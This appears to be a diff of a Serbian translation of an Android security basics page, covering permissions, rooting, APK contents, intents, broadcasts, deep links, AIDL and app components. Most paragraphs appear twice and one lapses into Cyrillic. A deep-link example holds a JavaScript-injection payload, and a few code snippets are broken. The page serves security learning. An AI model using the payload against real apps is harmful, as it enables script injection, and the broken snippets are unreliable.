* **Potpis**: Samo **aplikacije potpisane istim sertifikatom kao onaj** koji izvozi komponentu mogu dobiti dozvolu. Ovo je najjači tip zaštite.
* **SignatureOrSystem**: Samo **aplikacije potpisane istim sertifikatom kao onaj** koji izvozi komponentu ili **aplikacije koje rade sa sistemskim pristupom** mogu dobiti dozvole.
## Preinstalirane Aplikacije
Ove aplikacije se obično nalaze u direktorijumima **`/system/app`** ili **`/system/priv-app`** i neke od njih su **optimizovane** (možda čak nećete naći `classes.dex` fajl). Ove aplikacije vredi proveriti jer su nekad **pokrenute sa previše dozvola** (kao root).
Ove aplikacije se obično nalaze u **`/system/app`** ili **`/system/priv-app`** direktorijumima i neke od njih su **optimizovane** (možda čak nećete pronaći `classes.dex` datoteku). Ove aplikacije vredi proveriti jer ponekad **rade sa previše dozvola** (kao root).
* One isporučene sa **AOSP** (Android OpenSource Project) **ROM-om**
* Dodate od strane proizvođača uređaja
* Dodate od strane provajdera **mobilne telefonije** (ako je kupljeno od njih)
* One koje dolaze sa **AOSP** (Android OpenSource Project) **ROM-om**
* Dodate od strane **proizvođača** uređaja
* Dodate od strane **provajdera** mobilnih telefona (ako su kupljene od njih)
## Rootovanje
Da biste dobili root pristup fizičkom Android uređaju obično trebate **iskoristiti** 1 ili 2 **ranjivosti** koje obično budu **specifične** za **uređaj** i **verziju**.\
Kada iskorišćenje uspe, obično se Linux `su` binarni fajl kopira na lokaciju navedenu u korisnikovoj PATH env promenljivoj kao što je `/system/xbin`.
Da biste dobili root pristup na fizičkom android uređaju, obično morate **iskoristiti** 1 ili 2 **ranjivosti** koje su obično **specifične** za **uređaj** i **verziju**.\
Kada eksploatacija uspe, obično se Linux `su` binarni fajl kopira na lokaciju koja je navedena u korisničkoj PATH env varijabli kao što je `/system/xbin`.
Kada je su binarni fajl konfigurisan, druga Android aplikacija se koristi za interakciju sa `su` binarnim fajlom i **obradu zahteva za root pristup** kao što su **Superuser** i **SuperSU** (dostupne u Google Play prodavnici).
Kada je su binarni fajl konfiguran, koristi se druga Android aplikacija za interakciju sa `su` binarnim fajlom i **obrađivanje zahteva za root pristup** kao što su **Superuser** i **SuperSU** (dostupni u Google Play prodavnici).
{% hint style="danger" %}
Imajte na umu da je proces rootovanja veoma opasan i može ozbiljno oštetiti uređaj
Napomena da je proces rootovanja veoma opasan i može ozbiljno oštetiti uređaj.
{% endhint %}
### ROM-ovi
Moguće je **zameniti OS instaliranjem prilagođenog firmvera**. To omogućava proširenje upotrebljivosti starog uređaja, zaobilazak softverskih ograničenja ili pristup najnovijem Android kodu.\
**OmniROM** i **LineageOS** su dva od najpopularnija firmvera za korišćenje.
Moguće je **zameniti OS instaliranjem prilagođenog firmvera**. Na ovaj način je moguće produžiti korisnost starog uređaja, zaobići softverska ograničenja ili dobiti pristup najnovijem Android kodu.\
**OmniROM** i **LineageOS** su dva od najpopularnijih firmvera za korišćenje.
Imajte na umu da **nije uvek potrebno rootovati uređaj** da biste instalirali prilagođeni firmver. **Neki proizvođači dozvoljavaju** otključavanje njihovih bootloadera na dobro dokumentovan i siguran način.
Napomena da **nije uvek potrebno rootovati uređaj** da bi se instalirao prilagođeni firmver. **Neki proizvođači dozvoljavaju** otključavanje svojih bootloader-a na dobro dokumentovan i siguran način.
### Posledice
### Implkacije
Kada je uređaj rootovan, bilo koja aplikacija može zatražiti pristup kao root. Ako zlonamerna aplikacija to dobije, može imati pristup skoro svemu i moći će da ošteti telefon.
Kada je uređaj rootovan, svaka aplikacija može zatražiti pristup kao root. Ako zlonamerna aplikacija dobije taj pristup, može imati pristup gotovo svemu i moći će da ošteti telefon.
## Osnove Android Aplikacija <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
## Osnovni principi Android Aplikacija <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
- Format Android aplikacija se naziva _APK format fajla_. U osnovi je to **ZIP fajl** (promenom ekstenzije fajla u .zip, sadržaj može biti izvađen i pregledan).
- Sadržaj APK fajla (Nije iscrpan)
- Format Android aplikacija se naziva _APK format datoteke_. To je u suštini **ZIP datoteka** (preimenovanjem ekstenzije datoteke u .zip, sadržaj se može izdvojiti i pregledati).
- Sadržaj APK-a (nije iscrpan)
- **AndroidManifest.xml**
- resources.arsc/strings.xml
- resources.arsc: sadrži prekompilirane resurse, kao što su binarni XML.
- resources.arsc: sadrži prekompilirane resurse, poput binarnog XML-a.
- res/xml/files\_paths.xml
- META-INF/
- Ovde se nalazi Sertifikat!
- Ovde se nalazi sertifikat!
- **classes.dex**
- Sadrži Dalvik bajtkod, predstavlja kompilirani Java (ili Kotlin) kod koji aplikacija izvršava po podrazumevanim postavkama.
- Sadrži Dalvik bytecode, koji predstavlja kompajlirani Java (ili Kotlin) kod koji aplikacija izvršava po defaultu.
- lib/
- Sadrži nativne biblioteke, razdvojene po arhitekturi CPU-a u poddirektorijumima.
- `armeabi`: kod za procesore na bazi ARM-a
- `armeabi-v7a`: kod za ARMv7 i novije procesore
- Sadrži native biblioteke, razdvojene po CPU arhitekturi u poddirektorijumima.
- `armeabi`: kod za ARM procesore
- `armeabi-v7a`: kod za ARMv7 i više procesore
- `x86`: kod za X86 procesore
- `mips`: kod samo za MIPS procesore
- assets/
- Čuva različite fajlove potrebne aplikaciji, potencijalno uključujući dodatne nativne biblioteke ili DEX fajlove, ponekad korišćene od strane autora malvera za prikrivanje dodatnog koda.
- Čuva razne datoteke potrebne aplikaciji, potencijalno uključujući dodatne native biblioteke ili DEX datoteke, ponekad korišćene od strane autora malvera za prikrivanje dodatnog koda.
- res/
- Sadrži resurse koji nisu kompilovani u resources.arsc
- Sadrži resurse koji nisu kompajlirani u resources.arsc
### **Dalvik & Smali**
U Android razvoju, **Java ili Kotlin** se koriste za kreiranje aplikacija. Umesto korišćenja JVM-a kao u desktop aplikacijama, Android kompajlira ovaj kod u **Dalvik Executable (DEX) bytecode**. Ranije je Dalvik virtuelna mašina obrađivala ovaj bytecode, ali sada, Android Runtime (ART) preuzima kontrolu u novijim verzijama Androida.
U Android razvoju, **Java ili Kotlin** se koriste za kreiranje aplikacija. Umesto korišćenja JVM-a kao u desktop aplikacijama, Android kompajlira ovaj kod u **Dalvik Executable (DEX) bytecode**. Ranije je Dalvik virtuelna mašina upravljala ovim bytecode-om, ali sada, Android Runtime (ART) preuzima u novijim verzijama Android-a.
Za reverzno inženjerstvo, **Smali** postaje ključan. To je ljudima čitljiva verzija DEX bytecode-a, delujući kao jezik asemblerskog koda prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za asembliranje i disasembliranje u ovom kontekstu.
Za obrnuto inženjerstvo, **Smali** postaje ključan. To je ljudski čitljiva verzija DEX bytecode-a, koja deluje kao asemberski jezik prevodeći izvorni kod u bytecode instrukcije. Smali i baksmali se odnose na alate za asembler i disassembler u ovom kontekstu.
## Intents
## Intenti
Intents su osnovno sredstvo komunikacije Android aplikacija između svojih komponenti ili sa drugim aplikacijama. Ovi objekti poruka takođe mogu prenositi podatke između aplikacija ili komponenti, slično kao što se GET/POST zahtevi koriste u HTTP komunikacijama.
Intenti su primarni način na koji Android aplikacije komuniciraju između svojih komponenti ili sa drugim aplikacijama. Ovi objekti poruka takođe mogu nositi podatke između aplikacija ili komponenti, slično kako se koriste GET/POST zahtevi u HTTP komunikaciji.
Dakle, Intent je u osnovi **poruka koja se prenosi između komponenti**. Intents **mogu biti usmereni** ka određenim komponentama ili aplikacijama, **ili mogu biti poslati bez određenog primaoca**.\
Da bude jednostavno, Intent se može koristiti:
Dakle, Intent je u suštini **poruka koja se prenosi između komponenti**. Intenti **mogu biti usmereni** ka specifičnim komponentama ili aplikacijama, **ili se mogu slati bez specifičnog primaoca**.\
Jednostavno rečeno, Intent se može koristiti:
* Za pokretanje Activity-ja, obično otvaranje korisničkog interfejsa za aplikaciju
* Kao emitovanja za obaveštavanje sistema i aplikacija o promenama
* Za pokretanje, zaustavljanje i komunikaciju sa pozadinskom uslugom
* Za pristup podacima putem ContentProvidera
* Kao povratni pozivi za rukovanje događajima
* Da pokrene Aktivnost, obično otvarajući korisnički interfejs za aplikaciju
* Kao emitovanja da obavesti sistem i aplikacije o promenama
* Da pokrene, zaustavi i komunicira sa pozadinskom uslugom
* Da pristupi podacima putem ContentProviders
* Kao povratni pozivi za obradu događaja
Ako su ranjivi, **Intents mogu biti korišćeni za izvođenje različitih napada**.
Ako su ranjivi, **Intenti se mogu koristiti za izvođenje raznih napada**.
### Intent-Filter
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intents-a**. U osnovi, opisuju sposobnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili vrste emitovanja koje mogu obraditi. Glavno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml datoteke**, iako je kodiranje za Broadcast Receivere takođe opcija.
**Intent Filteri** definišu **kako aktivnost, usluga ili Broadcast Receiver mogu interagovati sa različitim tipovima Intenta**. U suštini, oni opisuju mogućnosti ovih komponenti, kao što su koje akcije mogu izvršiti ili koje vrste emitovanja mogu obraditi. Primarno mesto za deklarisanje ovih filtera je unutar **AndroidManifest.xml datoteke**, iako je kodiranje za Broadcast Receivere takođe opcija.
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da rukuju specifičnim Intent-ima koji se podudaraju sa deklarisanim kriterijumima.
Intent Filteri se sastoje od kategorija, akcija i filtera podataka, sa mogućnošću uključivanja dodatnih metapodataka. Ova postavka omogućava komponentama da obrađuju specifične Intente koji se poklapaju sa deklarisanim kriterijumima.
Kritičan aspekt Android komponenti (aktivnosti/usluga/content providera/broadcast receivera) je njihova vidljivost ili **javni status**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je za nju deklarisan Intent Filter u manifestu. Međutim, postoji način za razvojnike da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. To se postiže postavljanjem atributa **`exported`** na **`false`** u njihovim definicijama manifesta.
Kritičan aspekt Android komponenti (aktivnosti/usluge/content provideri/broadcast receiveri) je njihova vidljivost ili **javnost**. Komponenta se smatra javnom i može interagovati sa drugim aplikacijama ako je **`exported`** sa vrednošću **`true`** ili ako je za nju deklarisan Intent Filter u manifestu. Međutim, postoji način za programere da eksplicitno zadrže ove komponente privatnim, osiguravajući da ne interaguju sa drugim aplikacijama nenamerno. Ovo se postiže postavljanjem **`exported`** atributa na **`false`** u njihovim manifest definicijama.
Osim toga, razvojnici imaju opciju da dodatno obezbede pristup ovim komponentama zahtevanjem određenih dozvola. **`permission`** atribut može biti postavljen da bi se naložilo da samo aplikacije sa određenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može interagovati sa njom.
Pored toga, programeri imaju opciju da dodatno osiguraju pristup ovim komponentama zahtevajući specifične dozvole. **`permission`** atribut može biti postavljen da osigura da samo aplikacije sa dodeljenom dozvolom mogu pristupiti komponenti, dodajući dodatni sloj sigurnosti i kontrole nad tim ko može da interaguje sa njom.
```java
<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>
```
### Implicitni Intenti
### Implicit Intents
Intenti se programatski kreiraju korišćenjem konstruktora Intent:
Intencije se programatski kreiraju koristeći Intent konstruktor:
```java
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
```
**Akcija** prethodno deklarisane namere je **ACTION\_SEND** i **Dodatno** je mailto **Uri** (Dodatno je dodatna informacija koju namera očekuje).
**Akcija** prethodno deklarisanog namera je **ACTION\_SEND** i **Ekstra** je mailto **Uri** (Ekstra je dodatna informacija koju namera očekuje).
Ova namera treba da bude deklarisana unutar manifesta kao u sledećem primeru:
```xml
@ -163,50 +165,50 @@ Ova namera treba da bude deklarisana unutar manifesta kao u sledećem primeru:
</intent-filter>
</activity>
```
Intent-filter treba da se podudara sa **akcijom**, **podacima** i **kategorijom** da bi primio poruku.
An intent-filter treba da odgovara **akciji**, **podacima** i **kategoriji** da bi primio poruku.
Proces "Rešavanja namere" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji se može postaviti u deklaraciji **intent-filtera**, i **onaj sa većim prioritetom će biti izabran**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti vrednost `SYSTEM_HIGH_PRIORITY`. Ukoliko dođe do **sukoba**, prozor "izbora" se pojavljuje tako da **korisnik može da odluči**.
Proces "rezolucije intencija" određuje koja aplikacija treba da primi svaku poruku. Ovaj proces uzima u obzir **atribut prioriteta**, koji može biti postavljen u **deklaraciji intent-filter-a**, i **ona sa višim prioritetom će biti odabrana**. Ovaj prioritet može biti postavljen između -1000 i 1000, a aplikacije mogu koristiti `SYSTEM_HIGH_PRIORITY` vrednost. Ako dođe do **konflikta**, pojavljuje se "chooser" prozor kako bi **korisnik mogao da odluči**.
### Eksplicitne namere
### Eksplicitne Intencije
Eksplicitna namera specificira ime klase koju cilja:
Eksplicitna intencija specificira naziv klase koju cilja:
```java
Intent downloadIntent = new (this, DownloadService.class):
```
U drugim aplikacijama, radi pristupa prethodno deklarisanoj nameri, možete koristiti:
U drugim aplikacijama, da biste pristupili prethodno deklarisanom nameru, možete koristiti:
```java
Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);
```
### Očekujući Intenti
### Pending Intents
Ovi dozvoljavaju drugim aplikacijama da **preduzmu radnje u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Konstruisanje Očekujućeg Intenta treba **specificirati intent i radnju koju treba izvršiti**. Ako **deklarisani intent nije Eksplicitan** (ne deklariše koji intent može da ga pozove), **zlonamerna aplikacija bi mogla izvršiti deklarisane radnje** u ime žrtvene aplikacije. Štaviše, **ako radnja nije specificirana**, zlonamerna aplikacija će moći da izvrši **bilo koju radnju u ime žrtve**.
Ovi omogućavaju drugim aplikacijama da **preduzimaju akcije u ime vaše aplikacije**, koristeći identitet i dozvole vaše aplikacije. Prilikom konstruisanja Pending Intent-a, treba **navesti intent i akciju koja se izvršava**. Ako **deklarisani intent nije Eksplicitan** (ne navodi koji intent može da ga pozove), **maliciozna aplikacija bi mogla da izvrši deklarisanu akciju** u ime žrtvinske aplikacije. Štaviše, **ako akcija nije navedena**, maliciozna aplikacija će moći da izvrši **bilo koju akciju u ime žrtve**.
### Emitovanje Intenti
### Broadcast Intents
Za razliku od prethodnih intenta, koji su primljeni samo od jedne aplikacije, emitovani intenti **mogu biti primljeni od strane više aplikacija**. Međutim, od API verzije 14, **moguće je specificirati aplikaciju koja treba da primi** poruku koristeći Intent.setPackage.
Za razliku od prethodnih intent-a, koji se primaju samo od jedne aplikacije, broadcast intent-i **mogu biti primljeni od više aplikacija**. Međutim, od API verzije 14, **moguće je odrediti aplikaciju koja treba da primi** poruku koristeći Intent.setPackage.
Alternativno, takođe je moguće **specificirati dozvolu prilikom slanja emitovanja**. Aplikacija primaoc će morati da ima tu dozvolu.
Alternativno, takođe je moguće **navesti dozvolu prilikom slanja broadcast-a**. Aplikacija primaoc će morati da ima tu dozvolu.
Postoje **dva tipa** Emitovanja: **Normalno** (asinhrono) i **Poređano** (sinhrono). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar primaoca** elementa. **Svaka aplikacija može obraditi, proslediti ili odbaciti Emitovanje.**
Postoje **dva tipa** Broadcast-a: **Normalni** (asinkroni) i **Poručeni** (sinhroni). **Redosled** se zasniva na **konfigurisanoj prioritetu unutar elementa primaoca**. **Svaka aplikacija može obraditi, preneti ili odbaciti Broadcast.**
Moguće je **poslati** emitovanje koristeći funkciju `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** koji osigurava da **poruka nikada ne napusti aplikaciju**. Koristeći ovo, čak nećete morati da izvezete komponentu primaoca.
Moguće je **poslati** **broadcast** koristeći funkciju `sendBroadcast(intent, receiverPermission)` iz klase `Context`.\
Takođe možete koristiti funkciju **`sendBroadcast`** iz **`LocalBroadCastManager`** koja osigurava da **poruka nikada ne napusti aplikaciju**. Koristeći ovo, nećete ni morati da izvozite komponentu primaoca.
### Ljepljiva Emitovanja
### Sticky Broadcasts
Ova vrsta Emitovanja **može biti pristupljena dugo nakon što su poslata**.\
Ova su zastarela od API nivoa 21 i preporučuje se **da se ne koriste**.\
**Dozvoljavaju bilo kojoj aplikaciji da špijunira podatke, ali i da ih modifikuje.**
Ova vrsta Broadcast-a **može se pristupiti dugo nakon što su poslati**.\
Oni su obeleženi kao zastareli u API nivou 21 i preporučuje se da se **ne koriste**.\
**Oni omogućavaju bilo kojoj aplikaciji da prisluškuje podatke, ali i da ih modifikuje.**
Ako pronađete funkcije koje sadrže reč "ljepljiva" poput **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
Ako pronađete funkcije koje sadrže reč "sticky" kao što su **`sendStickyBroadcast`** ili **`sendStickyBroadcastAsUser`**, **proverite uticaj i pokušajte da ih uklonite**.
## Duboki linkovi / URL šeme
## Deep links / URL schemes
U Android aplikacijama, **duboki linkovi** se koriste da pokrenu radnju (Intent) direktno putem URL-a. Ovo se postiže deklarisanjem specifične **URL šeme** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom šemom**, određena aktivnost unutar aplikacije se pokreće.
U Android aplikacijama, **deep links** se koriste za pokretanje akcije (Intent) direktno putem URL-a. To se postiže deklarisanjem specifičnog **URL shema** unutar aktivnosti. Kada Android uređaj pokuša da **pristupi URL-u sa ovom shemom**, određena aktivnost unutar aplikacije se pokreće.
Šema mora biti deklarisana u **`AndroidManifest.xml`** fajlu:
Shema mora biti deklarisana u **`AndroidManifest.xml`** datoteci:
```xml
[...]
<activity android:name=".MyActivity">
@ -218,44 +220,44 @@ U Android aplikacijama, **duboki linkovi** se koriste da pokrenu radnju (Intent)
</intent-filter>
[...]
```
Šema iz prethodnog primera je `exampleapp://` (obratite pažnju i na **`kategoriju BROWSABLE`**)
Šema iz prethodnog primera je `exampleapp://` (obratite pažnju i na **`category BROWSABLE`**)
Zatim, u polju podataka, možete specificirati **host** i **putanju**:
Zatim, u polju podataka, možete navesti **host** i **path**:
```xml
<data android:scheme="examplescheme"
android:host="example"
/>
```
Da biste pristupili sa veba, moguće je postaviti link kao:
Da biste mu pristupili putem veba, moguće je postaviti link kao:
```xml
<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
```
Da biste pronašli **kôd koji će se izvršiti u aplikaciji**, idite na aktivnost pozvanu preko dubinskog linka i potražite funkciju **`onNewIntent`**.
Da biste pronašli **kod koji će se izvršiti u aplikaciji**, idite na aktivnost koju poziva deeplink i pretražite funkciju **`onNewIntent`**.
Saznajte kako [pozvati dubinske linkove bez korišćenja HTML stranica](./#exploiting-schemes-deep-links).
Saznajte kako da [pozovete deep linkove bez korišćenja HTML stranica](./#exploiting-schemes-deep-links).
## AIDL - Android Interface Definition Language
**Android Interface Definition Language (AIDL)** dizajniran je za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **međuprocesne komunikacije** (IPC). Budući da direktno pristupanje memoriji drugog procesa nije dozvoljeno na Androidu, AIDL pojednostavljuje proces marshalling objekata u format koji razume operativni sistem, olakšavajući komunikaciju između različitih procesa.
**Android Interface Definition Language (AIDL)** je dizajniran za olakšavanje komunikacije između klijenta i servisa u Android aplikacijama putem **interprocess communication** (IPC). Pošto direktan pristup memoriji drugog procesa nije dozvoljen na Androidu, AIDL pojednostavljuje proces maršalizovanjem objekata u format koji operativni sistem razume, čime olakšava komunikaciju između različitih procesa.
### Ključni koncepti
- **Povezane usluge**: Ove usluge koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa je ključna za pokretanje interakcije, označavajući je kao važno područje za pregled sigurnosti u potrazi za ranjivostima.
- **Bound Services**: Ove usluge koriste AIDL za IPC, omogućavajući aktivnostima ili komponentama da se povežu sa servisom, šalju zahteve i primaju odgovore. Metoda `onBind` u klasi servisa je ključna za započinjanje interakcije, označavajući je kao vitalno područje za bezbednosnu reviziju u potrazi za ranjivostima.
- **Messenger**: Delujući kao povezana usluga, Messenger olakšava IPC sa fokusom na obradi podataka putem metode `onBind`. Važno je pažljivo pregledati ovu metodu radi bilo kakvog nebezbednog rukovanja podacima ili izvršavanja osetljivih funkcija.
- **Messenger**: Kao vezana usluga, Messenger olakšava IPC sa fokusom na obradu podataka putem metode `onBind`. Bitno je pažljivo pregledati ovu metodu zbog bilo kakvog nesigurnog rukovanja podacima ili izvršavanja osetljivih funkcija.
- **Binder**: Iako je direktna upotreba klase Binder manje uobičajena zbog apstrakcije AIDL-a, korisno je razumeti da Binder deluje kao drajver na nivou jezgra koji olakšava prenos podataka između memorijskih prostora različitih procesa. Za dalje razumevanje, dostupan je resurs na [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
- **Binder**: Iako je direktna upotreba klase Binder manje uobičajena zbog AIDL-ove apstrakcije, korisno je razumeti da Binder deluje kao drajver na nivou kernela koji olakšava prenos podataka između memorijskih prostora različitih procesa. Za dalju pomoć, resurs je dostupan na [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
## Komponente
Ove uključuju: **Aktivnosti, Servise, Prijemnike emitovanja i Provajdere.**
Ove uključuju: **Aktivnosti, Usluge, Broadcast Receivers i Provajdere.**
### Aktivnost pokretača i druge aktivnosti
### Launcher aktivnost i druge aktivnosti
U Android aplikacijama, **aktivnosti** su poput ekrana koji prikazuju različite delove korisničkog interfejsa aplikacije. Aplikacija može imati mnogo aktivnosti, prikazujući svaka jedan jedinstveni ekran korisniku.
U Android aplikacijama, **aktivnosti** su poput ekrana, prikazujući različite delove korisničkog interfejsa aplikacije. Aplikacija može imati mnogo aktivnosti, od kojih svaka predstavlja jedinstveni ekran za korisnika.
**Aktivnost pokretača** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER namerama:
**Launcher aktivnost** je glavni ulaz u aplikaciju, pokreće se kada dodirnete ikonu aplikacije. Definisana je u manifest fajlu aplikacije sa specifičnim MAIN i LAUNCHER namerama:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -264,19 +266,19 @@ U Android aplikacijama, **aktivnosti** su poput ekrana koji prikazuju različite
</intent-filter>
</activity>
```
Nisu sve aplikacije potrebne aktivnosti pokretača, posebno one bez korisničkog interfejsa, poput pozadinskih usluga.
Неће све апликације требати лансирање активности, посебно оне без корисничког интерфејса, као што су позадинске услуге.
Aktivnosti mogu biti dostupne drugim aplikacijama ili procesima označavanjem kao "izložene" u manifestu. Ovo podešavanje omogućava drugim aplikacijama da pokrenu ovu aktivnost:
Активности могу бити доступне другим апликацијама или процесима означавањем као "извозне" у манифесту. Ова подешавања омогућавају другим апликацијама да покрену ову активност:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Međutim, pristupanje aktivnosti iz druge aplikacije nije uvek sigurnosni rizik. Briga se javlja ako se osetljivi podaci dele nepravilno, što može dovesti do curenja informacija.
Međutim, pristupanje aktivnosti iz druge aplikacije nije uvek bezbednosni rizik. Briga se javlja ako se osetljivi podaci dele nepravilno, što može dovesti do curenja informacija.
Životni ciklus aktivnosti **počinje sa onCreate metodom**, postavljanjem korisničkog interfejsa i pripremom aktivnosti za interakciju sa korisnikom.
Životni ciklus aktivnosti **počinje sa onCreate metodom**, postavljajući UI i pripremajući aktivnost za interakciju sa korisnikom.
### Podklasa aplikacije
### Podklasa Aplikacije
U Android razvoju, aplikacija ima opciju da kreira **podklasu** klase [Application](https://developer.android.com/reference/android/app/Application), iako to nije obavezno. Kada je takva podklasa definisana, postaje prva klasa koja se instancira unutar aplikacije. Metoda **`attachBaseContext`**, ako je implementirana u ovoj podklasi, izvršava se pre metode **`onCreate`**. Ova postavka omogućava ranu inicijalizaciju pre nego što se ostatak aplikacije pokrene.
U Android razvoju, aplikacija ima opciju da kreira **podklasu** [Application](https://developer.android.com/reference/android/app/Application) klase, iako to nije obavezno. Kada je takva podklasa definisana, ona postaje prva klasa koja se instancira unutar aplikacije. **`attachBaseContext`** metoda, ako je implementirana u ovoj podklasi, izvršava se pre **`onCreate`** metode. Ova postavka omogućava ranu inicijalizaciju pre nego što ostatak aplikacije počne.
```java
public class MyApp extends Application {
@Override
@ -292,33 +294,33 @@ super.onCreate();
}
}
```
### Servisi
### Usluge
[Servisi](https://developer.android.com/guide/components/services) su **pozadinski operativci** sposobni da izvršavaju zadatke bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na druge aplikacije, čineći servise ključnim za **dugotrajne operacije**.
[Usluge](https://developer.android.com/guide/components/services) su **pozadinski operativci** sposobni za izvršavanje zadataka bez korisničkog interfejsa. Ovi zadaci mogu nastaviti da se izvršavaju čak i kada korisnici pređu na različite aplikacije, što usluge čini ključnim za **dugotrajne operacije**.
Servisi su veoma fleksibilni; mogu biti pokrenuti na različite načine, pri čemu su **Intents** primarni metod za njihovo pokretanje kao ulazna tačka aplikacije. Kada se servis pokrene korišćenjem metode `startService`, njegova metoda `onStart` se aktivira i nastavlja sa radom sve dok se eksplicitno ne pozove metoda `stopService`. Alternativno, ako je uloga servisa uslovljena aktivnom klijentskom konekcijom, koristi se metoda `bindService` za povezivanje klijenta sa servisom, angažujući metodu `onBind` za prenos podataka.
Usluge su svestrane; mogu se pokrenuti na različite načine, pri čemu su **Intents** primarna metoda za njihovo pokretanje kao ulaznu tačku aplikacije. Kada se usluga pokrene koristeći metodu `startService`, njena metoda `onStart` se aktivira i nastavlja da radi sve dok se eksplicitno ne pozove metoda `stopService`. Alternativno, ako je uloga usluge zavisna od aktivne klijentske veze, koristi se metoda `bindService` za povezivanje klijenta sa uslugom, angažujući metodu `onBind` za prenos podataka.
Interesantna primena servisa uključuje reprodukciju pozadinske muzike ili preuzimanje mrežnih podataka bez ometanja interakcije korisnika sa aplikacijom. Osim toga, servisi mogu biti dostupni drugim procesima na istom uređaju putem **izvoza**. Ovo nije podrazumevano ponašanje i zahteva eksplicitnu konfiguraciju u Android Manifest fajlu:
Zanimljiva primena usluga uključuje reprodukciju muzike u pozadini ili preuzimanje mrežnih podataka bez ometanja interakcije korisnika sa aplikacijom. Štaviše, usluge se mogu učiniti dostupnim drugim procesima na istom uređaju putem **izvoza**. Ovo nije podrazumevano ponašanje i zahteva eksplicitnu konfiguraciju u Android Manifest datoteci:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Broadcast Receivers
**Prijemnici emitovanja** deluju kao slušaoci u sistemu poruka, omogućavajući više aplikacija da odgovore na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: putem **Manifesta** aplikacije ili **dinamički** unutar koda aplikacije putem API-ja **`registerReceiver`**. U Manifestu, emitovanja se filtriraju sa dozvolama, dok dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
**Broadcast receivers** deluju kao slušatelji u sistemu poruka, omogućavajući više aplikacija da reaguju na iste poruke iz sistema. Aplikacija može **registrovati prijemnik** na **dva osnovna načina**: kroz **Manifest** aplikacije ili **dinamički** unutar koda aplikacije putem **`registerReceiver`** API-ja. U Manifestu, emitovanja se filtriraju sa dozvolama, dok dinamički registrovani prijemnici takođe mogu specificirati dozvole prilikom registracije.
**Filteri namera** su ključni u oba metoda registracije, određujući koje emitovanja pokreću prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se metoda **`onReceive`** prijemnika, omogućavajući aplikaciji da reaguje u skladu, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskom nivou baterije.
**Intent filteri** su ključni u obe metode registracije, određujući koja emitovanja aktiviraju prijemnik. Kada se pošalje odgovarajuće emitovanje, poziva se **`onReceive`** metoda prijemnika, omogućavajući aplikaciji da reaguje u skladu sa tim, kao što je prilagođavanje ponašanja u odgovoru na upozorenje o niskoj bateriji.
Emitovanja mogu biti ili **asinhrona**, dostižući sve prijemnike bez redosleda, ili **sinhrona**, gde prijemnici dobijaju emitovanje na osnovu postavljenih prioriteta. Međutim, važno je napomenuti potencijalni sigurnosni rizik, jer bilo koja aplikacija može sebe prioritetizovati da presretne emitovanje.
Emitovanja mogu biti **asinkrona**, dostižući sve prijemnike bez reda, ili **sinhrona**, gde prijemnici dobijaju emitovanje na osnovu postavljenih prioriteta. Međutim, važno je napomenuti potencijalni bezbednosni rizik, jer svaka aplikacija može dati prioritet sebi da presretne emitovanje.
Da biste razumeli funkcionalnost prijemnika, potražite metodu **`onReceive`** unutar njegove klase. Kod ove metode može manipulisati primljenom Namerom, ističući potrebu za validacijom podataka od strane prijemnika, posebno u **Poređanim emitovanjima**, koja mogu modifikovati ili odbaciti Nameru.
Da biste razumeli funkcionalnost prijemnika, potražite **`onReceive`** metodu unutar njegove klase. Kod ove metode može manipulisati primljenim Intentom, naglašavajući potrebu za validacijom podataka od strane prijemnika, posebno u **Ordered Broadcasts**, koji mogu modifikovati ili odbaciti Intent.
### Provajder sadržaja
### Content Provider
